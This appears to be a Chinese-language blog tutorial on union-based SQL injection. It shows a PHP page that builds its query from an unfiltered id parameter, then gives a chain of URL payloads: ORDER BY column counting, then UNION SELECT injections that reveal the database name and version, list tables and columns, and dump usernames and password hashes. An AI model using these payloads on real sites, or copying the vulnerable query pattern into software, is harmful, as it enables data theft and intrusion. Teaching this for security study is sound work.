SQL联合查询注入

平时在浏览网页时会注意到有这种网址

GET请求类型

http://example.com/news.php?id=1
http://example.com/profile?user=admin

POST请求类型

username: admin
password: anything

等等这个样子的都在与数据库产生信息传递

以比较简单的GET请求来说

http://example.com/news.php?id=1

假设这个网站是一个通过学号查询个人信息的程序,这个id处输入学号然后返回该学号的一些个人信息

这个news.php种必定有

1
2
$id = $_GET['id'];
$sql = "SELECT id, username, email FROM users WHERE id='$id' LIMIT 1";

代码第一行从url的id参数获取值(学号)存储到id这个变量
代码第二行将id变量拼接到SQL语句中查询users表中匹配的id并返回相关的id username email 从users表中

此时如果我们http://example.com/news.php?id=1

此时这个SQL代码就是

SELECT id, username, email FROM users WHERE id=’1’’ LIMIT 1

必定会返回一个报错,那就证明这个位置存在SQL注入漏洞,因为并没有过滤’

我们第一步肯定是要获取它这个表中有几个列http://example.com/news.php?id='1‘ ORDER BY 1–+ ‘ LIMIT 1

此时这个SQL代码就是

SELECT id, username, email FROM users WHERE id=’1’ ORDER by 1–+’ LIMIT 1

有些人估计会发现和自己想的不一样,不应该是
SELECT id, username, email FROM users WHERE id=’1’ ORDER by 1–+’LIMIT 1吗

其实是因为第二个’ 已经将第一个’闭合掉了 然后–注释掉’ LIMIT 1
这样才可以执行ORDER by 1

接下来先了解一下这个ORDER by是什么东东

ORDER BY是 SQL 语言中的一个关键子句,主要用于对查询结果进行排序

比如ORDER by 3 会对email进行一个查排序

如果将3换成4,会返回报错,因为它没有4这个列数,因此就可以通过这个机制判断这个表有几列

可以不断增加这个查询的数直到报错,那这个表的列数就为查询的数-1

前面这些都是比较基础的,都是为本文的重点联合查询注入作铺垫

http://example.com/news.phpid=1‘ UNION SELECT 1,2,3–+

此时这个SQL代码就是

SELECT id, username, email FROM users WHERE id=’1’ UNION SELECT 1,2,3–+’ LIMIT 1

先来了解一下联合查询语句UNION SELECT

SQL UNION 操作符合并两个或多个 SELECT 语句的结果

UNION 操作符用于合并两个或多个 SELECT 语句的结果集。它可以从多个表中选择数据,并将结果集组合成一个结果集。使用 UNION 时,每个 SELECT 语句必须具有相同数量的列,且对应列的数据类型必须相似

如果页面上返回了3那么这个地方就是原本email显示的地方,知道这个以后就可以换成将这个位置换成更敏感的语句

http://example.com/news.php?id=1‘ UNION SELECT 1,database(),version()–+

此时这个SQL代码就是

SELECT id, username, email FROM users WHERE id=’1’ UNION SELECT 1,database(),version()–+’ LIMIT 1

就可以返回

当前数据库名称

MySQL 版本信息

http://example.com/news.php?id=1‘ UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()–+

这会列出当前数据库中的所有表名(通常会看到 users 表)

http://example.com/news.php?id=1‘ UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name=’users’–+

这会显示 users 表的所有列名(如 id, username, password)

http://example.com/news.php?id=1‘ UNION SELECT 1,group_concat(username,’:’,password),3 FROM users–+

这会显示所有用户名和密码(通常是 MD5 哈希)

📄 版权声明

👤 作者:qingshen
📅 发布时间:2025年8月6日
🔗 原文链接https://qsblog.top/SQL%E8%81%94%E5%90%88%E6%9F%A5%E8%AF%A2%E6%B3%A8%E5%85%A5.html
📜 许可协议知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议
💡 转载说明:转载请注明原文出处和作者信息